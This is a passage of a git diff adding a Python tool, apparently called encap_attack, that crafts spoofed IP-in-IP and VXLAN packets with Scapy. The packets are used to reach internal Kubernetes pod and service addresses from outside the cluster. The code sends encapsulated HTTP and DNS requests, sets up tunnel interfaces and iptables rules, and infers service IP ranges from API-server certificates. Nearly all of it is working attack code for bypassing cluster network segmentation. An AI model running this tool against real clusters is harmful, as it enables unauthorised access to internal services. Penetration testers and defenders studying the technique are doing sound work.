1000-65000]", default=None) +@click.option("-pd", "--dst-port", type=int, help="Destination port [DEFAULT: 53]", default=53) +@click.pass_context +def attempt_ipip(ctx, api_server: str, api_server_port: int, intermediary_dst_ip: Optional[str], spoofed_src_ip: Optional[str], spoofed_src_mac: Optional[str], src_port: Optional[int], dst_port: int) -> None: + """Guess DNS server address based on Kubernetes API server certificate contents, and attempt to connect to it using IP-in-IP""" + + if (not intermediary_dst_ip): intermediary_dst_ip = api_server + + try: + dns_suffix, _, dns_ip = guessRoutes(api_server, api_server_port) + if (not dns_ip): + raise ValueError("Unable to guess DNS server IP. Is the intermediary destination IP correct?") + model = IPIPEncapsulationModel(intermediary_dst_ip, spoofed_src_ip, spoofed_src_mac, ctx.obj["iface"], ctx.obj["iface_ip"], ctx.obj["verbose"]) + results = model.sendDNS(dns_ip, "kube-dns.kube-system.svc." + dns_suffix, "A", dst_port=dst_port, src_port=src_port) + if len(results.items()) == 0: + raise ValueError("Unable to connect to DNS server using IP-in-IP. Try a different intermediary destination IP (another node), a different source IP, or VXLAN?") + click.secho("\nConnected to DNS server with IP-in-IP", fg="green", bold=True) + except ValueError as e: + click.secho(f"\n{e}", fg="red", bold=True) + +@kubeintel.command("get-ip-ranges") +def get_ip_ranges() -> None: + """List commands to obtain pod/service IP ranges from kubectl, via the kube-apiserver.""" + + click.echo() + click.echo("To obtain pod/service IP ranges for a cluster, run the following command(s).") + click.echo("- Pod CIDR:") + click.secho(" kubectl cluster-info dump | grep -m 1 cluster-cidr | awk -F= '{print$2}' | awk -F\\\" '{print $1}'", fg="cyan", bold=True) + click.echo("- Service CIDR:") + click.secho(" kubectl cluster-info dump | grep -m 1 service-cluster-ip-range | awk -F= '{print$2}' | awk -F\\\" '{print $1}'", fg="cyan", bold=True) + click.echo() + +@kubeintel.command("get-net-info") +@click.option("-c", "--cni", type=click.Choice(["calico", "flannel"]), help="CNI") +def get_net_info(cni: Optional[str]) -> None: + """List commands to obtain VTEPs and VNIs from different Kubernetes CNIs, via the kube-apiserver.""" + + click.echo() + click.echo("To obtain network info (VNIs and VTEPs - internal destination MAC addresses) for a cluster, run the following command(s).") + if (cni == "calico" or cni == None): + cmd_vtep = "kubectl get node -o jsonpath='{range .items[*]}{.metadata.name}{\"\\t\"}{.spec.vxlanTunnelMACAddr}{\"\\n\"}{end}'" + click.echo("- Calico VTEP:") + click.secho(f" {cmd_vtep}", fg="cyan", bold=True) + click.echo("- Calico VNI:") + cmd_vni = "kubectl get felixconfiguration -o jsonpath='{.items[0].spec.vxlanVNI}'" + click.secho(f" {cmd_vni}", fg="cyan", bold=True) + if (cni == "flannel" or cni == None): + cmd = "kubectl get node -o jsonpath='{range .items[*]}{.metadata.name}{\"\\t\"}{.metadata.annotations.flannel\.alpha\.coreos\.com/public-ip}{\"\\t\"}{.metadata.annotations.flannel\.alpha\.coreos\.com/backend-data}{\"\\n\"}{end}'" + click.echo("- Flannel VTEP & VNI:") + click.secho(f" {cmd}", fg="cyan", bold=True) + click.echo() + +@kubeintel.command("guess-cidr") +@click.option("-p", "--api-server-port", type=int, help="API server port [DEFAULT: 6443]", default=6443) +@click.argument("api_server") +def guess_cidr(api_server_port: int, api_server: str) -> None: + """Guess the Kubernetes service IP range based on the certificate from the API server at API_SERVER.""" + + click.echo() + guessRoutes(api_server, api_server_port) + click.echo() + + +@cli.group() +@click.option("-d", "--intermediary-dst-ip", type=str, help="Intermediary destination IP - for Kubernetes, use the destination node", required=True) +@click.option("-s", "--spoofed-src-ip", type=str, help="Spoofed packet source IP address [DEFAULT: interface IP]", default=None) +@click.option("-m", "--spoofed-src-mac", type=str, help="Spoofed packet source MAC address [DEFAULT: MAC associated with spoofed source IP (obtained with ARP)]", default=None) +@click.pass_context +def ipip(ctx, intermediary_dst_ip: str, spoofed_src_ip: Optional[str], spoofed_src_mac: Optional[str]) -> None: + """Suite of IP-in-IP functionality.""" + + click.echo("Running in IP-in-IP mode\n") + ctx.ensure_object(dict) + ctx.obj["intermediary_dst_ip"] = intermediary_dst_ip + ctx.obj["spoofed_src_ip"] = spoofed_src_ip + ctx.obj["spoofed_src_mac"] = spoofed_src_mac + ctx.obj["model"] = IPIPEncapsulationModel(ctx.obj["intermediary_dst_ip"], ctx.obj["spoofed_src_ip"], ctx.obj["spoofed_src_mac"], ctx.obj["iface"], ctx.obj["iface_ip"], verbose=ctx.obj["verbose"]) + +@ipip.group("request") +@click.option("-di", "--dst-ip", type=str, help="Internal destination IP - for Kubernetes, use pod/service IP", required=True) +@click.option("-ps", "--src-port", type=int, help="Source port [DEFAULT: random port 1000-65000]", default=None) +@click.pass_context +def ipip_request(ctx, dst_ip: str, src_port: Optional[int]) -> None: + """Send an IP-in-IP encapsulated request.""" + + ctx.ensure_object(dict) + ctx.obj["dst_ip"] = dst_ip + ctx.obj["src_port"] = src_port + +@ipip_request.command("http") +@click.option("-pd", "--dst-port", type=int, help="Destination port [DEFAULT: 80]", default=80) +@click.argument("http_request") +@click.pass_context +def ipip_http(ctx, dst_port: int, http_request: str) -> None: + """Send an HTTP request, HTTP_REQUEST, to a client at port DST_PORT.""" + + ctx.obj["model"].sendHTTP(http_request, ctx.obj["dst_ip"], dst_port=dst_port, src_port=ctx.obj["src_port"]) + +@ipip_request.command("dns") +@click.option("-t", "--query-type", type=click.Choice(["SRV", "A", "AAAA", "CNAME"]), help="DNS record query type", required=True) +@click.option("-pd", "--dst-port", type=int, help="Destination port [DEFAULT: 53]", default=53) +@click.argument("query_name") +@click.pass_context +def ipip_dns(ctx, query_type: str, dst_port: int, query_name: str) -> None: + """Send a DNS request, QUERY_NAME, of type QUERY_NAME.""" + + ctx.obj["model"].sendDNS(ctx.obj["dst_ip"], query_name, query_type, dst_port=dst_port, src_port=ctx.obj["src_port"]) + +@ipip.command("tunnel") +@click.option("-r", "--route", type=str, help="Route to add via tunnel - multiple allowed", multiple=True) +@click.option("-g", "--direct-routing-gateway", type=str, help="Local tunnel gateway IP address to enable routing directly into tunnel interface") +@click.option("-a", "--kube-api-server", type=str, help="Kubernetes API server IP address or hostname - if provided, will attempt to guess Kubernetes service IP range and add it as a route") +@click.option("-p", "--kube-api-server-port", type=int, help="Kubernetes API server port [DEFAULT: 6443]", default=6443) +@click.pass_context +def ipip_tunnel(ctx, route: list[str], direct_routing_gateway: Optional[str], kube_api_server: Optional[str], kube_api_server_port: int) -> None: + """Open IP-in-IP tunnel via INTERMEDIARY_DESTINATION for each ROUTE.""" + + if (kube_api_server): + click.echo() + route = list(route) + route.extend(guessRoutes(kube_api_server, kube_api_server_port)[1]) + click.echo() + tunnel_meta = TunnelMeta(route, direct_routing_gateway) + ctx.obj["model"].runTunnel(tunnel_meta) + + + +@cli.group() +@click.option("-d", "--intermediary-dst-ip", type=str, help="Intermediary destination IP - for Kubernetes, use the destination node", required=True) +@click.option("-s", "--spoofed-src-ip", type=str, help="Spoofed packet source IP address [DEFAULT: interface IP]", default=None) +@click.option("-m", "--spoofed-src-mac", type=str, help="Spoofed packet source MAC address [DEFAULT: MAC associated with spoofed source IP (obtained with ARP)]", default=None) +@click.option("-mi", "--inner-dst-mac", type=str, help="Inner destination MAC address (VTEP) - for Kubernetes, use the VTEP of the destination node", required=True) +@click.option("--vni", type=int, help="VXLAN VNI - use 4096 for Calico, 1 for Flannel [DEFAULT: 4096]", default=4096) +@click.option("-ps", "--vxlan-src-port", type=int, help="VXLAN packet source port [DEFAULT: random port 1000-65000]", default=None) +@click.option("-pd", "--vxlan-dst-port", type=int, help="VXLAN packet destination port - use 4789 for Calico, 8472 for Flannel [DEFAULT: 4789]", default=4789) +@click.pass_context +def vxlan(ctx, intermediary_dst_ip: str, spoofed_src_ip: Optional[str], spoofed_src_mac: Optional[str], inner_dst_mac: str, vni: int, vxlan_src_port: Optional[int], vxlan_dst_port: int) -> None: + """Suite of VXLAN functionality.""" + + click.echo("Running in VXLAN mode\n") + ctx.ensure_object(dict) + ctx.obj["intermediary_dst_ip"] = intermediary_dst_ip + ctx.obj["spoofed_src_ip"] = spoofed_src_ip + ctx.obj["spoofed_src_mac"] = spoofed_src_mac + ctx.obj["vni"] = vni + ctx.obj["vxlan_src_port"] = vxlan_src_port + ctx.obj["vxlan_dst_port"] = vxlan_dst_port + ctx.obj["model"] = VXLANEncapsulationModel(ctx.obj["intermediary_dst_ip"], inner_dst_mac, vni, vxlan_src_port, vxlan_dst_port, ctx.obj["spoofed_src_ip"], ctx.obj["spoofed_src_mac"], ctx.obj["iface"], ctx.obj["iface_ip"], verbose=ctx.obj["verbose"]) + +@vxlan.group("request") +@click.option("-di", "--dst-ip", type=str, help="Internal destination IP - for Kubernetes, use pod/service IP", required=True) +@click.option("-ps", "--src-port", type=int, help="Source port [DEFAULT: random port 1000-65000]", default=None) +@click.pass_context +def vxlan_request(ctx, dst_ip: str, src_port: Optional[int]) -> None: + """Send a VXLAN encapsulated request.""" + + ctx.ensure_object(dict) + ctx.obj["dst_ip"] = dst_ip + ctx.obj["src_port"] = src_port + +@vxlan_request.command("http") +@click.option("-pd", "--dst-port", type=int, help="Destination port [DEFAULT: 80]", default=80) +@click.argument("http_request") +@click.pass_context +def vxlan_http(ctx, dst_port: int, http_request: str) -> None: + """Send an HTTP request, HTTP_REQUEST, to a client at port DST_PORT.""" + + ctx.obj["model"].sendHTTP(http_request, ctx.obj["dst_ip"], dst_port=dst_port, src_port=ctx.obj["src_port"]) + +@vxlan_request.command("dns") +@click.option("-t", "--query-type", type=click.Choice(["SRV", "A", "AAAA", "CNAME"]), help="DNS record query type", required=True) +@click.option("-pd", "--dst-port", type=int, help="Destination port [DEFAULT: 53]", default=53) +@click.argument("query_name") +@click.pass_context +def vxlan_dns(ctx, query_type: str, dst_port: int, query_name: str) -> None: + """Send a DNS request, QUERY_NAME, of type QUERY_NAME.""" + + ctx.obj["model"].sendDNS(ctx.obj["dst_ip"], query_name, query_type, dst_port=dst_port, src_port=ctx.obj["src_port"]) + +@vxlan.command("tunnel") +@click.option("-r", "--route", type=str, help="Route to add via tunnel - multiple allowed", multiple=True) +@click.option("-g", "--direct-routing-gateway", type=str, help="Local tunnel gateway IP address to enable routing directly into tunnel interface") +@click.option("-a", "--kube-api-server", type=str, help="Kubernetes API server IP address or hostname - if provided, will attempt to guess Kubernetes service IP range and add it as a route") +@click.option("-p", "--kube-api-server-port", type=int, help="Kubernetes API server port [DEFAULT: 6443]", default=6443) +@click.pass_context +def vxlan_tunnel(ctx, route: tuple[str], direct_routing_gateway: Optional[str], kube_api_server: Optional[str], kube_api_server_port: int) -> None: + """Open VXLAN tunnel via INTERMEDIARY_DESTINATION for each ROUTE.""" + + if (kube_api_server): + route = list(route) + click.echo() + _, svc_route, _ = guessRoutes(kube_api_server, kube_api_server_port) + route.extend(svc_route) + click.echo() + tunnel_meta = TunnelMeta(route, direct_routing_gateway) + ctx.obj["model"].runTunnel(tunnel_meta) + +if __name__ == "__main__": + cli() diff --git a/src/encap_attack/utils/__init__.py b/src/encap_attack/utils/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/src/encap_attack/utils/encapsulation_models.py b/src/encap_attack/utils/encapsulation_models.py new file mode 100644 index 0000000..b3cf064 --- /dev/null +++ b/src/encap_attack/utils/encapsulation_models.py @@ -0,0 +1,262 @@ +from abc import ABC, abstractmethod +from scapy.all import * +from random import randint +from getmac import get_mac_address as get_mac +from encap_attack.utils.util_models import * +from encap_attack.utils.utils import * +from time import sleep +import click +from typing import Optional, Union + +class EncapsulationModel(ABC): + + @abstractmethod + def __init__(self, intermediary_dst_ip: str, spoofed_src_ip: Optional[str], spoofed_src_mac: Optional[str] = None, iface: Optional[str] = None, iface_ip: Optional[str] = None, verbose: bool = False) -> None: + """Initialise an encapsulation model.""" + + if (iface): + self._iface = iface + self._iface_calculated = False + else: + self._iface = str(conf.iface) + self._iface_calculated = True + if (iface_ip): + self._iface_ip = iface_ip + else: + self._iface_ip = getIfaceIp(self._iface) + click.echo("Interface IP: " + click.style(self._iface_ip, fg="cyan", bold=True)) + self._iface_mac = get_mac(self._iface_ip) + self._spoofed_src_ip = spoofed_src_ip + if (spoofed_src_mac): + self._spoofed_src_mac = spoofed_src_mac + else: + self._spoofed_src_mac = get_mac(ip=self._spoofed_src_ip) + self._spoofed_src_mac = get_mac(ip=self._spoofed_src_ip) + self._intermediary_dst_ip = intermediary_dst_ip + self._intermediary_dst_mac = get_mac(ip=self._intermediary_dst_ip) + self._verbose = verbose + + @abstractmethod + def _getPacketHeader(self) -> Packet: + """Get the header frames for a packet.""" + + pass + + def _sendPacket(self, packet, name: str = "", wait: bool = True, newline: bool = True) -> None: + """Send an Ether packet.""" + + if wait: sleep(0.1) # this ensures sniffers have started properly before we expect a response + if (name == ""): name = "packet" + if newline: click.echo() + if (self._verbose): + click.secho(f"Sending {name}:", fg="magenta", bold=True) + click.echo(packet.show2(dump=True)) + else: + click.echo(click.style(f"Sending {name}: ", fg="magenta", bold=True) + str(packet)) + if self._iface_calculated: + sendp(packet, loop=0, verbose=self._verbose) + else: + sendp(packet, loop=0, verbose=self._verbose, iface=self._iface) + + def _verboseSnifferPacketHandler(self, packet: Packet) -> None: + """Log a sniffed packet if in verbose mode.""" + + if (self._verbose): + click.echo(f"\n\nSniffed packet:\n{packet.show2(dump=True)}") + + def _getAsyncSniffer(self, filter: str, count: int) -> AsyncSniffer: + """Get a Scapy AsyncSniffer, forcing the interface to use if required.""" + + if self._iface_calculated: + s = AsyncSniffer(filter=filter, count=count, timeout=20, prn=self._verboseSnifferPacketHandler) + return s + else: + return AsyncSniffer(filter=filter, count=count, timeout=20, prn=self._verboseSnifferPacketHandler, iface=self._iface) + + def __processTunnelPacket(self, packet: Packet) -> None: + """Encapsulate a packet and send it on.""" + + if (IP not in packet or packet[IP].dst != self._iface_ip): + if (self._verbose): click.echo("\n") + click.echo(f"\nEncapsulating packet: {packet}") + encapsulatedPacket = self._getPacketHeader() / packet + self._sendPacket(encapsulatedPacket, "encapsulated packet", wait=False, newline=False) + elif (self._verbose): + click.echo(f"Ignoring packet: {packet.summary()}") + + def runTunnel(self, tunnel_meta: TunnelMeta) -> None: + """Start a tun interface to encapsulate specific traffic before sending.""" + + tun_number = 0 + while (os.path.exists(f"/sys/net/tun{tun_number}")): + tun_number += 1 + tun_iface = f"tun{tun_number}" + t = TunTapInterface(tun_iface) + os.system(f"ip link set {tun_iface} up") + os.system(f"ip a add {self._iface_ip} dev {tun_iface}") + if (self._verbose): click.echo(f"Created tunnel interface {tun_iface}") + for route in tunnel_meta.getRoutes: + os.system(f"ip ro add {route} dev {tun_iface}") + if (self._verbose): click.echo(f"Added route for {route} via tunnel interface {tun_iface}") + direct_routing_gateway_ip = tunnel_meta.getDirectRoutingGatewayIP + if (direct_routing_gateway_ip): + os.system(f"ip a add {direct_routing_gateway_ip} dev {tun_iface}") + os.system(f"iptables -t mangle -A PREROUTING -i {self._iface} -j TEE --gateway {direct_routing_gateway_ip}") + if (self._verbose): click.echo(f"Added gateway IP {direct_routing_gateway_ip} to tunnel interface {tun_iface} and started duplicating all incoming packets on {self._iface} to this interface") + click.secho(f"\nStarting tunnel {tun_iface}, press Ctrl+C to stop...\n", fg="magenta", bold=True) + try: + sniff(prn=self.__processTunnelPacket, iface=tun_iface, store=0) + finally: + click.secho("\n\nTunnel closed", fg="red") + if (direct_routing_gateway_ip): + os.system(f"iptables -t mangle -D PREROUTING -i {self._iface} -j TEE --gateway {direct_routing_gateway_ip}") + if (self._verbose): click.echo(f"Stopped duplicating incoming packets to tunnel interface") + if (self._verbose): click.echo(f"Deleted tunnel interface {tun_iface}") + + def __submitHTTP(self, request_payload: str, dst_ip: str, dst_port: int, src_port: int) -> list: + """Send an encapsulated HTTP request and return the response.""" + + request_payload = request_payload.replace("\\n", "\n").replace("\\r", "\r") + os.system(f"iptables -A OUTPUT -p tcp --tcp-flags RST RST -s {self._iface_ip} -j DROP") + + full_header = self._getPacketHeader() / IP(src = self._iface_ip, dst=dst_ip) + + syn_packet = full_header / TCP(sport=src_port, dport=dst_port, flags="S") + syn_sniff = self._getAsyncSniffer(filter=f"tcp and port {src_port}", count=1) + syn_sniff.start() + self._sendPacket(syn_packet, "SYN") + syn_sniff.join() + if (not hasattr(syn_sniff, "results") or len(syn_sniff.results) < 1): + click.secho("\nRequest timed out.", fg="red", bold=True) + return [] + synack = syn_sniff.results[0] + + ack_sniff = self._getAsyncSniffer(filter=f"tcp and port {syn_packet[TCP].sport}", count=3) + ack_sniff.start() + ack_packet = full_header / TCP(sport=src_port, dport=dst_port, flags="A", seq=synack[TCP].ack, ack=synack[TCP].seq+1) + self._sendPacket(ack_packet, "ACK") + + ack_push = full_header / TCP(sport=src_port, dport=dst_port, flags="AP", seq=synack[TCP].ack, ack=synack[TCP].seq+1) / Raw(load=request_payload) + self._sendPacket(ack_push, "ACK PUSH") + + ack_sniff.join() + + if (not hasattr(ack_sniff, "results") or len(ack_sniff.results) < 3): + click.secho("\nRequest timed out.", fg="red", bold=True) + return [] + + if ("F" in ack_sniff.results[2][TCP].flags): + click.echo("Server closing connection") + ack = full_header / TCP(sport=src_port, dport=dst_port, flags="A", seq=ack_sniff.results[2][TCP].ack, ack=ack_sniff.results[2][TCP].seq) + self._sendPacket(ack, "ACK") + fin_ack = full_header / TCP(sport=src_port, dport=dst_port, flags="FA", seq=ack_sniff.results[2][TCP].ack, ack=ack_sniff.results[2][TCP].seq+1) + self._sendPacket(fin_ack, "FIN ACK") + else: + ack = full_header / TCP(sport=src_port, dport=dst_port, flags="A", seq=ack_sniff.results[1][TCP].ack, ack=ack_sniff.results[1][TCP].seq+1) + self._sendPacket(ack, "ACK") + fin_ack_sniff = self._getAsyncSniffer(filter=f"tcp and port {syn_packet[TCP].sport}", count=1) + + fin_ack_sniff.start() + fin_ack = full_header / TCP(sport=src_port, dport=dst_port, flags="FA", seq=ack_sniff.results[2][TCP].ack, ack=ack_sniff.results[2][TCP].seq+1) + self._sendPacket(fin_ack, "FIN ACK") + fin_ack_sniff.join() + + final_ack = full_header / TCP(sport=src_port, dport=dst_port, flags="A", seq=fin_ack_sniff.results[0][TCP].ack, ack=fin_ack_sniff.results[0][TCP].seq+1) + self._sendPacket(final_ack, "ACK") + + os.system(f"iptables -D OUTPUT -p tcp --tcp-flags RST RST -s {self._iface_ip} -j DROP") + return ack_sniff.results + + def sendHTTP(self, request_payload: str, dst_ip: str, dst_port: int = 80, src_port: Optional[int] = None) -> None: + """Submit an encapsulated HTTP request and print the response.""" + + if (not src_port): src_port = randint(1000,65000) + if (self._verbose): click.echo(f"TCP source port: {src_port}") + + response = self.__submitHTTP(request_payload + "\r\n\r\n", dst_ip, dst_port, src_port) + click.echo("\nResponse:") + if (len(response) > 1): + click.echo() + for r in response: + if hasattr(r[TCP], "load"): click.echo(r[TCP].load) + else: + click.secho(" No response returned.", fg="red", bold=True) + + def __submitDNS(self, dst_ip: str, qname: str, qtype: str, dst_port: int, src_port: int) -> dict[str, Union[str, int]]: + """Send an encapsulated DNS request and return the response.""" + + packet = self._getPacketHeader() / IP(src = self._iface_ip, dst=dst_ip) / UDP(sport=src_port, dport=dst_port) / DNS(rd=1, qd=DNSQR(qname=qname,qtype=qtype)) + + sniff = self._getAsyncSniffer(filter=f"udp and port {src_port}", count=1) + sniff.start() + self._sendPacket(packet, "DNS packet") + sniff.join() + + if (len(sniff.results) == 0): + click.secho("\nRequest timed out.", fg="red", bold=True) + return {} + + try: + response = sniff.results[0][UDP] + except: + click.secho("Unable to process response.", fg="red", bold=True) + return {} + results = {} + + for i in range(0, response.ancount): + record = response.an[i] + if (qtype == "SRV"): + name = record.target.decode().rstrip('.') + results[name] = record.port + else: + name = record.rrname.decode().rstrip(".") + results[name] = record.rdata + + return results + + def sendDNS(self, dst_ip: str, qname: str, qtype: str, dst_port: int = 53, src_port: Optional[int] = None) -> dict[str, Union[str, int]]: + """Send an encapsulated DNS request and print the response.""" + + if (not src_port): src_port = randint(1000,65000) + + results = self.__submitDNS(dst_ip, qname, qtype, dst_port, src_port) + + click.echo("\nResponse:") + for name, port in results.items(): + click.secho(f" {name}: {port}", fg="green", bold=True) + if len(results.items()) == 0: + click.secho(" No records returned.", fg="red", bold=True) + return results + +class IPIPEncapsulationModel(EncapsulationModel): + + def __init__(self, intermediary_dst_ip: str, spoofed_src_ip: Optional[str] = None, spoofed_src_mac: Optional[str] = None, iface: Optional[str] = None, iface_ip: Optional[str] = None, verbose: bool = False) -> None: + """Initialise an IP-in-IP encapsulation model.""" + + super().__init__(intermediary_dst_ip, spoofed_src_ip=spoofed_src_ip, spoofed_src_mac=spoofed_src_mac, iface=iface, iface_ip=iface_ip, verbose=verbose) + + def _getPacketHeader(self) -> Packet: + """Get an IP-in-IP header.""" + + ether = Ether(src=self._spoofed_src_mac,dst=self._intermediary_dst_mac) + return ether / IP(src=self._spoofed_src_ip,dst=self._intermediary_dst_ip) + +class VXLANEncapsulationModel(EncapsulationModel): + + def __init__(self, intermediary_dst_ip: str, inner_dst_mac: str, vni: int = 4096, vxlan_src_port: Optional[int] = None, vxlan_dst_port: int = 4789, spoofed_src_ip: Optional[str] = None, spoofed_src_mac: Optional[str] = None, iface: Optional[str] = None, iface_ip: Optional[str] = None, verbose: bool = False) -> None: + """Initialise a VXLAN encapsulation model.""" + + if (not vxlan_src_port): vxlan_src_port = randint(1000,65000) + + super().__init__(intermediary_dst_ip, spoofed_src_ip=spoofed_src_ip, spoofed_src_mac=spoofed_src_mac, iface=iface, iface_ip=iface_ip, verbose=verbose) + self._inner_dst_mac = inner_dst_mac # VTEP of target node + self._vni = vni + self._vxlan_src_port = vxlan_src_port + self._vxlan_dst_port = vxlan_dst_port + + def _getPacketHeader(self) -> Packet: + """Get a VXLAN header.""" + + outer_ether = Ether(src=self._spoofed_src_mac,dst=self._intermediary_dst_mac) + inner_ether = Ether(src=self._iface_mac,dst=self._inner_dst_mac) + return outer_ether / IP(src=self._spoofed_src_ip,dst=self._intermediary_dst_ip) / UDP(sport=self._vxlan_src_port,dport=self._vxlan_dst_port) / VXLAN(vni=self._vni, flags="Instance") / inner_ether diff --git a/src/encap_attack/utils/util_models.py b/src/encap_attack/utils/util_models.py new file mode 100644 index 0000000..02568bc --- /dev/null +++ b/src/encap_attack/utils/util_models.py @@ -0,0 +1,72 @@ +import click +from scapy.all import * +import threading + +class TunnelMeta: + def __init__(self, routes: list[str] = [], direct_routing_gateway_ip: str = None) -> None: + """Initialise a tunnel metadata model, to store information about a tunnel before it is configured.""" + + self.__routes = routes + self.__direct_routing_gateway_ip = direct_routing_gateway_ip + + @property + def getRoutes(self) -> list[str]: + """Get the defined routes.""" + + return self.__routes + + @property + def getDirectRoutingGatewayIP(self) -> str: + """Get the direct routing gateway IP address.""" + + return self.__direct_routing_gateway_ip + +class DetectorSniffer: + def __init__(self, iface: str, timeout: int, verbose: bool) -> None: + """Initialise a detector sniffer.""" + + self.__iface = iface + self.__timeout = timeout + self.__verbose = verbose + self.__protocol = "unknown" + if (self.__iface): + if (self.__timeout): + self.__sniffer = AsyncSniffer(timeout=self.__timeout, prn=self.__packetHandler, iface=self.__iface) + else: + self.__sniffer = AsyncSniffer(prn=self.__packetHandler, iface=self.__iface) + else: + if (self.__timeout): + self.__sniffer = AsyncSniffer(timeout=self.__timeout, prn=self.__packetHandler) + else: + self.__sniffer = AsyncSniffer(filter="", prn=self.__packetHandler) + + def run(self) -> str: + click.secho("\nListening for encapsulated packets...", fg="magenta", bold=True) + self.__sniffer.start() + # ensure inconsequential errors thrown by sniffer are ignored + threading.excepthook = lambda e: None + self.__sniffer.join() + return self.__protocol + + def __packetHandler(self, packet) -> None: + """Process sniffed packets and stop sniffing if encapsulated packet detected.""" + + if (VXLAN in packet and IP in packet and Ether in packet[VXLAN] and IP in packet[VXLAN]): + # packet is VXLAN + click.secho("\nIdentified VXLAN packet:", bold=True) + click.echo(" Outer: " + click.style(f"{packet[IP].src} -> {packet[IP].dst}", fg="cyan", bold=True)) + click.echo(" VXLAN: " + click.style(f"VNI: {packet[VXLAN].vni}, VTEP: {packet[VXLAN][Ether].dst}", fg="cyan", bold=True)) + click.echo(" Inner: " + click.style(f"{packet[VXLAN][IP].src} -> {packet[VXLAN][IP].dst}", fg="cyan", bold=True)) + self.__protocol = "VXLAN" + elif (IP in packet and IP in packet[IP][1:]): + # packet is IP-in-IP + click.secho("\nIdentified IP-in-IP packet:", bold=True) + click.echo(" Outer: " + click.style(f"{packet[IP].src} -> {packet[IP].dst}", fg="cyan", bold=True)) + click.echo(" Inner: " + click.style(f"{packet[IP][1:][IP].src} -> {packet[IP][1:][IP].dst}", fg="cyan", bold=True)) + self.__protocol = "IP-in-IP" + else: + return + if (self.__verbose): + click.secho("\nFull packet:", fg="magenta", bold=True) + click.echo(packet.show2(dump=True)) + self.__sniffer.stop() diff --git a/src/encap_attack/utils/utils.py b/src/encap_attack/utils/utils.py new file mode 100644 index 0000000..a2ecb38 --- /dev/null +++ b/src/encap_attack/utils/utils.py @@ -0,0 +1,124 @@ +import socket, fcntl, struct, ssl, OpenSSL, click, ipaddress +from encap_attack.utils.util_models import * + +def getIfaceIp(iface: str) -> str: + """Get an interface's default IP.""" + + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + return socket.inet_ntoa(fcntl.ioctl( + s.fileno(), + 0x8915, # SIOCGIFADDR + struct.pack('256s', iface[:15].encode()) + )[20:24]) + +def getDefaultIfaceIp(dst_ip: str) -> str: + """Get the default interface's IP address for a specific destination IP.""" + + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + s.connect((dst_ip, 53)) + ip = s.getsockname()[0] + s.close() + return ip + +def getCert(dst: str, port: int): + """Get a certificate and return it in X509 format.""" + + context = ssl.create_default_context() + context.check_hostname = False + context.verify_mode = ssl.CERT_NONE + try: + conn = socket.create_connection((dst, port)) + except Exception as e: + click.secho(f"Unable to connect: {e}", fg="red", bold=True) + return None + sock = context.wrap_socket(conn, server_hostname=dst) + sock.settimeout(20) + try: + der_cert = sock.getpeercert(True) + finally: + sock.close() + return OpenSSL.crypto.load_certificate(OpenSSL.crypto.FILETYPE_PEM, ssl.DER_cert_to_PEM_cert(der_cert)) + +def getCertSANs(cert) -> list[str]: + """Get a certificate's Subject Alternative Name records.""" + + extensions = (cert.get_extension(i) for i in range(cert.get_extension_count())) + for e in extensions: + if (e.get_short_name() == b'subjectAltName'): + return str(e).split(", ") + return [] + +def getIPSANs(sans: list[str]) -> list[str]: + """Get the IP entries from a certificate's Subject Alternative Name records.""" + + ip_sans = [] + for san in sans: + if (san.startswith("IP Address:")): + ip_sans.append(san.replace("IP Address:", "")) + return ip_sans + +def getDNSSANs(sans: list[str]) -> list[str]: + """Get the DNS entries from a certificate's Subject Alternative Name records.""" + + ip_sans = [] + for san in sans: + if (san.startswith("DNS")): + ip_sans.append(san.replace("DNS:", "")) + return ip_sans + +def getCertDetails(cert) -> tuple[str, str, list[str]]: + """Extract the subject, issuer, and Subject Alternative Names records from an X509 certificate.""" + + subject = dict(cert.get_subject().get_components()) + issuer = dict(cert.get_issuer().get_components()) + return (subject, issuer, getCertSANs(cert)) + +def guessRoutes(dst: str, port: int) -> tuple[str, list[str], str]: + """Get the TLS certificate from a Kubernetes API server, and use the Subject Alternative Name records of the contained certificate to guess the cluster DNS suffix, service IP range, and DNS server IP address.""" + + cert = getCert(dst, port) + if (cert == None): + return ("", [], "") + subject, issuer, sans = getCertDetails(cert) + click.secho("Kubernetes API server certificate information:", bold=True) + click.echo(" Subject: " + click.style(subject[b'CN'].decode(), fg="cyan", bold=True)) + click.echo(" Issuer: " + click.style(issuer[b'CN'].decode(), fg="cyan", bold=True)) + ips = getIPSANs(sans) + click.echo(" IPs: " + click.style(', '.join(ips), fg="cyan", bold=True)) + hostnames = getDNSSANs(sans) + click.echo(" Hostnames: " + click.style(', '.join(hostnames), fg="cyan", bold=True)) + priv_ips = [ip for ip in ips if ipaddress.ip_address(ip).is_private] + cluster_dns_suffix, dot_count = ("", 0) + for hostname in hostnames: + count = hostname.count(".") + if count > dot_count: + try: + suffix = hostname.split(".", 3)[3] + except: + # hostname is not fully-qualified + continue + cluster_dns_suffix = suffix + dot_count = count + if len(priv_ips) > 0: + ip_parts = priv_ips[0].split(".") + guessed_cidr = f"{ip_parts[0]}.{ip_parts[1]}.0.0/12" + click.echo("\nGuessed service CIDR: " + click.style(guessed_cidr, fg="green", bold=True)) + guessed_dns = f"{ip_parts[0]}.{ip_parts[1]}.0.10" + click.echo(f"kube-dns DNS server may be available at: " + click.style(f"{guessed_dns}:53", fg="green", bold=True)) + click.echo(f"Cluster DNS suffix: " + click.style(cluster_dns_suffix if cluster_dns_suffix else "unknown", fg="green", bold=True)) + return (cluster_dns_suffix, [guessed_cidr], guessed_dns) + else: + click.echo("Unable to guess service CIDR") + return (cluster_dns_suffix, [], "") + +def detectEncap(iface: str, timeout: int, verbose: bool): + """Sniff network traffic for encapsulated packets and return the encapsulation protocol.""" + + detector = DetectorSniffer(iface, timeout, verbose) + protocol = detector.run() + + if (protocol == "unknown"): + click.secho("\nNo network encapsulation detected", fg="red", bold=True) + else: + click.secho(f"\nDetected encapsulation protocol: {protocol}", fg="green", bold=True) +